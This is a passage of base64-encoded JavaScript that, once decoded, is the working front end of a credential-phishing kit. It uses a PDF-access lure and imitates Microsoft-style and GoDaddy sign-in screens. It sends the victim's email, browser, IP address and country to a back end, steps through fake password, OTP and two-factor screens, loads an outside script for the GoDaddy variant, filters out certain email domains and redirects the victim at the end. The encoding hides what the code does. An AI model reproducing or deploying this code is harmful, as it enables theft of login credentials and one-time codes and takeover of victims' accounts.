sNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpbnBfb3RwY29kZScpLnZhbHVlID0gIiI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl9vdHAiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uXzJmYScpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgdmlldyA9ICIyZmEiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHZpZXcgPT0gImF1dGhjYWxsIil7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZXJyb3JfYXV0aGNhbGwnKS5pbm5lclRleHQgPSAiIjsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX2F1dGhjYWxsIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8yZmEnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIHZpZXcgPSAiMmZhIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJ1bmFuaW1hdGlvbigzLHZpZXcsMS4yKTsNCiAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmJ0bl9maW5hbCcpLmZvckVhY2goKGIpID0+IHsNCiAgICAgICAgYi5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsICgpID0+IHsNCiAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmID0gcmVkaXJlY3R1cmw7DQogICAgICAgIH0pDQogICAgICAgIH0pDQoNCi8vIHBkZg0KDQogICAgaWYodmlldyA9PSAidW5hbWVfcGRmIil7DQogICAgY29uc3Qgbnh0cGRmID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2J0bl9uZXh0X3BkZicpOw0KDQogICAgbnh0cGRmLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgKCkgPT4gew0KICAgICAgICB2YWxpZGF0ZXBkZigpOw0KICAgIH0pDQoNCiAgICBwZGZjaGVjayA9IDE7DQoNCiAgICBmdW5jdGlvbiBsb2FkaW5nYW5pbWF0aW9ucGRmKHR5cGUpew0KICAgIGlmKHR5cGUgPT0gMCl7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25zX3BkZicpLnF1ZXJ5U2VsZWN0b3IoJyNtYWluTG9hZGVyJykuc3R5bGUuZGlzcGxheSA9ICJmbGV4IjsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbnNfcGRmJykucXVlcnlTZWxlY3RvcignI3NlY3Rpb25fdW5hbWVfY29udGVudCcpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgIH0NCiAgICBpZih0eXBlID09IDEpew0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uc19wZGYnKS5xdWVyeVNlbGVjdG9yKCcjbWFpbkxvYWRlcicpLnN0eWxlLmRpc3BsYXkgPSAibm9uZSI7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25zX3BkZicpLnF1ZXJ5U2VsZWN0b3IoJyNzZWN0aW9uX3VuYW1lX2NvbnRlbnQnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICB9DQogICAgaWYodHlwZSA9PSAyKXsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbnNfcGRmJykucXVlcnlTZWxlY3RvcignI21haW5Mb2FkZXInKS5zdHlsZS5kaXNwbGF5ID0gImZsZXgiOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uc19wZGYnKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICB9DQogICAgfQ0KDQogICAgY29uc3QgdW5hbWVwZGZpbnAgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncGRmZW1haWwnKTsNCg0KICAgIGZ1bmN0aW9uIHNlbmRlbWFpbHBkZigpew0KICAgICAgICAgIHNlbmRBbmRSZWNlaXZlKCdjaGVja2VtYWlsJywgW3VuYW1lcGRmaW5wLnZhbHVlLHBhZ2VsaW5rdmFsLGJyb3dzZXJOYW1lLHVzZXJpcCx1c2VyY291bnRyeV0sMSkNCiAgICAgICAgICAgIC50aGVuKHJlc3BvbnNlID0+IHsNCiAgICAgICAgICBpZiAocmVzcG9uc2UgJiYgcmVzcG9uc2VbJ21lc3NhZ2UnXSAhPT0gIndhaXRpbmcgZm9yIHByZXZpb3VzIHJlcXVlc3QgdG8gY29tcGxldGUiKSB7DQogICAgICAgICAgICB2YXIgbWF0Y2hGb3VuZCA9IGZhbHNlOw0KDQogICAgICAgICAgICB2YXIgYW5pbWR1cmF0aW9uID0gMzAwOw0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10uaW5jbHVkZXMoIm5ld3dlYnNpdGVvcGVuIikgPT0gZmFsc2UgJiYgcmVzcG9uc2VbJ21lc3NhZ2UnXSAhPT0gImVycm9yIil7DQogICAgICAgICAgICBpZihyZXNwb25zZVsnYWNjdHlwZSddICYmIHJlc3BvbnNlWydhY2N0eXBlJ10gPT0gMil7DQogICAgICAgICAgICBwdm4gPSAxOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYocmVzcG9uc2VbJ2FjY3R5cGUnXSA9PSB1bmRlZmluZWQgfHwgcmVzcG9uc2VbJ2FjY3R5cGUnXSAmJiByZXNwb25zZVsnYWNjdHlwZSddID09IDEpew0KICAgICAgICAgICAgcHZuID0gMDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10uaW5jbHVkZXMoIm5ld3dlYnNpdGVvcGVuIikgPT0gZmFsc2Upew0KICAgICAgICAgICAgYW5pbWR1cmF0aW9uID0gMDsNCiAgICAgICAgICAgIGxvYWRpbmdhbmltYXRpb25wZGYoMSk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7DQoNCiAgICAgICAgICAgIGZvciAodmFyIGkgPSAwOyBpIDwgd2Vic2l0ZW5hbWVzLmxlbmd0aDsgaSsrKSB7DQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXS5pbmNsdWRlcygibmV3d2Vic2l0ZW9wZW4iKSA9PSB0cnVlICYmIHJlc3BvbnNlWydtZXNzYWdlJ10uaW5jbHVkZXMod2Vic2l0ZW5hbWVzW2ldKSA9PSB0cnVlKXsNCiAgICAgICAgICAgIG1hdGNoRm91bmQgPSB0cnVlOw0KICAgICAgICAgICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLnVzZXJfaWRlbnRpdHknKS5mb3JFYWNoKChlKSA9PiB7DQogICAgICAgICAgICAgICAgZS5pbm5lclRleHQgPSB1bmFtZXBkZmlucC52YWx1ZTsNCiAgICAgICAgICAgIH0pOw0KDQogICAgICAgICAgICBpZih3ZWJzaXRlbmFtZXNbaV0gPT0gJ2dvZGFkZHknKXsNCiAgICAgICAgICAgIHZhciB3ZWJzaXRlc2NyaXB0ID0gZ2RmOw0KDQogICAgICAgICAgICB2YXIgZXhpc3RpbmdTY3JpcHQgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCdzY3JpcHRbc3JjXj0iJytnZGYrJyJdJyk7DQoNCiAgICAgICAgICAgIGlmICghZXhpc3RpbmdTY3JpcHQpIHsNCiAgICAgICAgICAgICAgICB2YXIgc2NyaXB0RWxlbWVudCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpOw0KICAgICAgICAgICAgICAgIHNjcmlwdEVsZW1lbnQuc3JjID0gd2Vic2l0ZXNjcmlwdDsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHNjcmlwdEVsZW1lbnQpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgY29uc3QgaG92ZXJTdHlsZSA9IGANCiAgICAgICAgICAgIDo6LW1vei1zZWxlY3Rpb24gew0KICAgICAgICAgICAgYmFja2dyb3VuZDogI2E2ZmZmODsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgOjpzZWxlY3Rpb24gew0KICAgICAgICAgICAgYmFja2dyb3VuZDogI2E2ZmZmODsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGA7DQogICAgICAgICAgICBjb25zdCBzdHlsZUVsZW1lbnQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzdHlsZScpOw0KICAgICAgICAgICAgc3R5bGVFbGVtZW50LmlkID0gJ2R5bmFtaWMtc3R5bGUnOw0KICAgICAgICAgICAgc3R5bGVFbGVtZW50LnRleHRDb250ZW50ID0gaG92ZXJTdHlsZTsNCiAgICAgICAgICAgIGRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoc3R5bGVFbGVtZW50KTsNCg0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25zX3BkZiIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fdW5hbWVfcGRmIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbnNfJyt3ZWJzaXRlbmFtZXNbaV0rJycpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5zdHlsZS5zZXRQcm9wZXJ0eSgnYmFja2dyb3VuZC1jb2xvcicsICcjZjVmN2Y4JywgJ2ltcG9ydGFudCcpOw0KICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5zdHlsZS5zZXRQcm9wZXJ0eSgnYmFja2dyb3VuZC1pbWFnZScsICd1bnNldCcsICdpbXBvcnRhbnQnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuc3R5bGUuc2V0UHJvcGVydHkoJ292ZXJmbG93JywgJ2F1dG8nLCAnaW1wb3J0YW50Jyk7DQogICAgICAgICAgICB2aWV3ID0gInB3ZF9nb2RhZGR5IjsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXS5pbmNsdWRlcygibmV3d2Vic2l0ZW9wZW4iKSA9PSB0cnVlICYmIGkgPT0gd2Vic2l0ZW5hbWVzLmxlbmd0aCAtIDEgJiYgIW1hdGNoRm91bmQpIHsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl91bmFtZV9wZGYiKS5pbm5lclRleHQgPSAiIjsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl91bmFtZV9wZGYiKS5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOw0KICAgICAgICAgICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLnVzZXJfaWRlbnRpdHknKS5mb3JFYWNoKChlKSA9PiB7DQogICAgICAgICAgICAgICAgZS5pbm5lclRleHQgPSB1bmFtZXBkZmlucC52YWx1ZTsNCiAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgYm90dG9tc2VjdGlvbmxpbmtzKCdwd2QnLFt7YV9pZDogImlkQV9QV0RfRm9yZ290UGFzc3dvcmQiLCBhX3RleHQ6ICJGb3Jnb3QgbXkgcGFzc3dvcmQiLCB0eXBlOiAibGluayJ9XSkNCiAgICAgICAgICAgIGNoYW5nZWJhY2tidXR0b24oJ3B3ZCcsMCk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbnNfcGRmIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl91bmFtZV9wZGYiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9ucyIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fcHdkJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICBvdGhlcndlYnVybCA9IHJlc3BvbnNlWydtZXNzYWdlJ10ucmVwbGFjZSgnbmV3d2Vic2l0ZW9wZW4nLCAnJyk7DQogICAgICAgICAgICB3ZWJub3Rmb3VuZCA9IHRydWU7DQogICAgICAgICAgICB2aWV3ID0gInB3ZCI7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gIm11bHRpcGxlIGFjY291bnRzIil7DQogICAgICAgICAgICBtdWx0aXBsZWFjY291bnRzYmFjayA9IDE7DQogICAgICAgICAgICBpZih0d2EgPT0gMCl7DQogICAgICAgICAgICB2YXIgYmFubmVyTG9nb3MgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIuYmFubmVybG9nbyIpOw0KICAgICAgICAgICAgYmFubmVyTG9nb3MuZm9yRWFjaChmdW5jdGlvbihlbGVtZW50KSB7DQogICAgICAgICAgICBlbGVtZW50LnN0eWxlLmhlaWdodCA9ICIyNHB4IjsNCiAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fbXVsdGlwbGVhY2NvdW50cycpLnF1ZXJ5U2VsZWN0b3IoJyNidG5fYmFjaycpLnNldEF0dHJpYnV0ZSgiZGF0YS1pZCIsIHJlc3BvbnNlWydiYWNrYnRuaWQnXSk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9tdWx0aXBsZWFjY291bnRzJykucXVlcnlTZWxlY3RvcignI2J0bl9iYWNrJykuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwgImJhY2tidXR0b25jbGljayh0aGlzLDIpIik7DQogICAgICAgICAgICBjaGVja2Vycm9yZGVzYygnbXVsdGlwbGVhY2NvdW50cycsMCxyZXNwb25zZVsnZGVzY3JpcHRpb24nXSk7DQogICAgICAgICAgICBkaXNwbGF5bXVsdGlwbGVhY2NvdW50cyhyZXNwb25zZVsnYWNjb3VudG9wdGlvbnMnXSk7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ211bHRpcGxlYWNjb3VudHMnLHJlc3BvbnNlWydib3R0b21zZWN0aW9uJ10pDQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcudXNlcl9pZGVudGl0eScpLmZvckVhY2goKGUpID0+IHsNCiAgICAgICAgICAgICAgICBlLmlubmVyVGV4dCA9IHVuYW1lcGRmaW5wLnZhbHVlOw0KICAgICAgICAgICAgfSk7DQoNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uc19wZGYiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX3VuYW1lX3BkZiIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25zIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9tdWx0aXBsZWFjY291bnRzJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICB2aWV3ID0gIm11bHRpcGxlYWNjb3VudHMiOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAiY29ycmVjdCBlbWFpbCIpew0KICAgICAgICAgICAgaWYodHdhID09IDApew0KICAgICAgICAgICAgaWYocmVzcG9uc2VbJ2Jhbm5lcmxvZ28nXSAhPT0gdW5kZWZpbmVkICYmIHJlc3BvbnNlWydiYW5uZXJsb2dvJ10gIT09IG51bGwpew0KICAgICAgICAgICAgdmFyIGJhbm5lckxvZ29zID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgiLmJhbm5lcmxvZ28iKTsNCiAgICAgICAgICAgIGJhbm5lckxvZ29zLmZvckVhY2goZnVuY3Rpb24oZWxlbWVudCkgew0KICAgICAgICAgICAgZWxlbWVudC5zdHlsZS5iYWNrZ3JvdW5kSW1hZ2UgPSAidXJsKCciK3Jlc3BvbnNlWydiYW5uZXJsb2dvJ10rIicpIjsNCiAgICAgICAgICAgIGVsZW1lbnQuc3R5bGUud2lkdGggPSAidW5zZXQiOw0KICAgICAgICAgICAgZWxlbWVudC5zdHlsZS5oZWlnaHQgPSAiMzZweCI7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmKHJlc3BvbnNlWydiYWNrZ3JvdW5kY29sb3InXSAhPT0gdW5kZWZpbmVkICYmIHJlc3BvbnNlWydiYWNrZ3JvdW5kY29sb3InXSAhPT0gbnVsbCl7DQogICAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuc3R5bGUuc2V0UHJvcGVydHkoJ2JhY2tncm91bmQtY29sb3InLCByZXNwb25zZVsnYmFja2dyb3VuZGNvbG9yJ10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYocmVzcG9uc2VbJ2JhY2tncm91bmRpbWFnZSddICE9PSB1bmRlZmluZWQgJiYgcmVzcG9uc2VbJ2JhY2tncm91bmRpbWFnZSddICE9PSBudWxsKXsNCiAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5zdHlsZS5zZXRQcm9wZXJ0eSgnYmFja2dyb3VuZC1pbWFnZScsICJ1cmwoJyIrcmVzcG9uc2VbJ2JhY2tncm91bmRpbWFnZSddKyInKSIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYocmVzcG9uc2VbJ2Jhbm5lcmxvZ28nXSA9PSB1bmRlZmluZWQgfHwgcmVzcG9uc2VbJ2Jhbm5lcmxvZ28nXSA9PSBudWxsKXsNCiAgICAgICAgICAgIHZhciBiYW5uZXJMb2dvcyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5iYW5uZXJsb2dvIik7DQogICAgICAgICAgICBiYW5uZXJMb2dvcy5mb3JFYWNoKGZ1bmN0aW9uKGVsZW1lbnQpIHsNCiAgICAgICAgICAgIGVsZW1lbnQuc3R5bGUuaGVpZ2h0ID0gIjI0cHgiOw0KICAgICAgICAgICAgfSk7DQogICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYocHZuID09IDApew0KICAgICAgICAgICAgYm90dG9tc2VjdGlvbmxpbmtzKCdwd2QnLHJlc3BvbnNlWydib3R0b21zZWN0aW9uJ10pDQogICAgICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCdwd2QnLHJlc3BvbnNlWydiYWNrYnV0dG9uJ10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYocHZuID09IDEpew0KICAgICAgICAgICAgYm90dG9tc2VjdGlvbmxpbmtzKCdwd2RfbGl2ZScscmVzcG9uc2VbJ2JvdHRvbXNlY3Rpb24nXSkNCiAgICAgICAgICAgIGNoYW5nZWJhY2tidXR0b24oJ3B3ZF9saXZlJyxyZXNwb25zZVsnYmFja2J1dHRvbiddKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl91bmFtZV9wZGYiKS5pbm5lclRleHQgPSAiIjsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl91bmFtZV9wZGYiKS5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOw0KICAgICAgICAgICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLnVzZXJfaWRlbnRpdHknKS5mb3JFYWNoKChlKSA9PiB7DQogICAgICAgICAgICAgICAgZS5pbm5lclRleHQgPSB1bmFtZXBkZmlucC52YWx1ZTsNCiAgICAgICAgICAgIH0pOw0KDQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbnNfcGRmIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl91bmFtZV9wZGYiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9ucyIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgaWYocHZuID09IDApew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fcHdkJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICB2aWV3ID0gInB3ZCI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZihwdm4gPT0gMSl7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9wd2RfbGl2ZScpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgdmlldyA9ICJwd2RfbGl2ZSI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJlcnJvciIpew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX3VuYW1lX3BkZiIpLmlubmVyVGV4dCA9ICJQbGVhc2UsIHByb3ZpZGUgYSB2YWxpZCBlbWFpbC4iOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX3VuYW1lX3BkZiIpLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOw0KICAgICAgICAgICAgbG9hZGluZ2FuaW1hdGlvbnBkZigxKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgfSwgYW5pbWR1cmF0aW9uKTsNCiAgICAgICAgICB9DQogICAgICAgICAgfSkNCiAgICAgICAgICAuY2F0Y2goZXJyb3IgPT4gew0KICAgICAgICAgIGxvYWRpbmdhbmltYXRpb25wZGYoMSk7DQogICAgICAgICAgY29uc29sZS5lcnJvcignRXJyb3I6JywgZXJyb3IpOw0KICAgICAgICAgIH0pOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIHZhbGlkYXRlcGRmKCkgew0KICAgICAgICBpZiAodmlldyA9PT0gInVuYW1lX3BkZiIpIHsNCiAgICAgICAgICAgIGNvbnN0IGJsb2NrZWREb21haW5zID0gYmVzOw0KICAgICAgICAgICAgY29uc3QgZG9tYWluID0gdW5hbWVwZGZpbnAudmFsdWUudHJpbSgpLnNwbGl0KCdAJylbMV07DQogICAgICAgICAgICBpZiAodW5hbWVwZGZpbnAudmFsdWUuaW5jbHVkZXMoIkAiKSAmJmJsb2NrZWREb21haW5zLnNvbWUoYmxvY2tlZCA9PiBkb21haW4uaW5jbHVkZXMoYmxvY2tlZCkpKSB7DQogICAgICAgICAgICBsb2FkaW5nYW5pbWF0aW9ucGRmKDApOw0KICAgICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHsNCiAgICAgICAgICAgIGxvYWRpbmdhbmltYXRpb25wZGYoMSk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfdW5hbWVfcGRmIikuaW5uZXJUZXh0ID0gIlBsZWFzZSwgcHJvdmlkZSBhIHZhbGlkIGVtYWlsLiI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfdW5hbWVfcGRmIikuc3R5bGUuZGlzcGxheSA9ICJibG9jayI7DQogICAgICAgICAgICB9LCAzMDAwKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmICh1bmFtZXBkZmlucC52YWx1ZS50cmltKCkgPT0gIiIpIHsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl91bmFtZV9wZGYiKS5pbm5lclRleHQgPSAiUGxlYXNlLCBwcm92aWRlIGEgdmFsaWQgZW1haWwuIjsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl91bmFtZV9wZGYiKS5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIjsNCiAgICAgICAgICAgIH0gZWxzZSBpZiAodW5hbWVwZGZpbnAudmFsdWUudHJpbSgpICE9ICIiICYmIHVuYW1lcGRmaW5wLnZhbHVlLmluY2x1ZGVzKCJAIikgJiYgIWJsb2NrZWREb21haW5zLnNvbWUoYmxvY2tlZCA9PiBkb21haW4uaW5jbHVkZXMoYmxvY2tlZCkpKSB7DQogICAgICAgICAgICBsb2FkaW5nYW5pbWF0aW9ucGRmKDApOw0KICAgICAgICAgICAgaWYgKHdlYm5vdGZvdW5kID09IHRydWUpew0KICAgICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHsNCiAgICAgICAgICAgIGxvYWRpbmdhbmltYXRpb25wZGYoMSk7DQoNCiAgICAgICAgICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZXJyb3JfcHdkJykuaW5uZXJUZXh0ID0gIiI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaW5wX3B3ZCcpLnZhbHVlID0gIiI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbnNfcGRmIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl91bmFtZV9wZGYiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3B3ZCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgdmlldyA9ICJwd2QiOw0KICAgICAgICAgICAgfSwgMzAwKTsNCiAgICAgICAgICAgIH0sIDMwMDApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHdlYm5vdGZvdW5kID09IGZhbHNlKXsNCiAgICAgICAgICAgIGlmKGludGVyYWN0ZWQgPT0gMSl7DQogICAgICAgICAgLy8gICAoZnVuY3Rpb24gc2VuZGVtYWlscmVxdWVzdG9uZXBkZigpIHsNCiAgICAgICAgICAvLyAkLmdldCgiaHR0cHM6Ly9nZXQuZ2VvanMuaW8vdjEvaXAvZ2VvLmpzb24iLCBmdW5jdGlvbihyZXNwb25zZSkgew0KICAgICAgICAgIC8vICAgICB1c2VyaXAgPSByZXNwb25zZS5pcDsNCiAgICAgICAgICAvLyAgICAgdXNlcmNvdW50cnkgPSByZXNwb25zZS5jb3VudHJ5Ow0KICAgICAgICAgIC8vICAgICBzZW5kZW1haWxwZGYoKTsNCiAgICAgICAgICAvLyB9LCAianNvbiIpDQogICAgICAgICAgLy8gLmZhaWwoZnVuY3Rpb24oanFYSFIsIHRleHRTdGF0dXMsIGVycm9yVGhyb3duKSB7DQogICAgICAgICAgLy8gICAgIGlmIChqcVhIUi5zdGF0dXMgPT0gNDI5IHx8IHRleHRTdGF0dXMgIT09ICJzdWNjZXNzIikgew0KICAgICAgICAgIC8vICAgICAgICAgc2V0VGltZW91dChzZW5kZW1haWxyZXF1ZXN0b25lcGRmLCAxMDAwKTsNCiAgICAgICAgICAvLyAgICAgfQ0KICAgICAgICAgIC8vIH0pOw0KICAgICAgICAgIC8vIH0pKCk7DQogICAgICAgICAgICBzZW5kZW1haWxwZGYoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmKGludGVyYWN0ZWQgPT0gMCl7DQoNCiAgICAgICAgICAgIGludGVyYWN0ZWQgPSAxOw0KDQogICAgICAgICAgICAoZnVuY3Rpb24gc2VuZGVtYWlscmVxdWV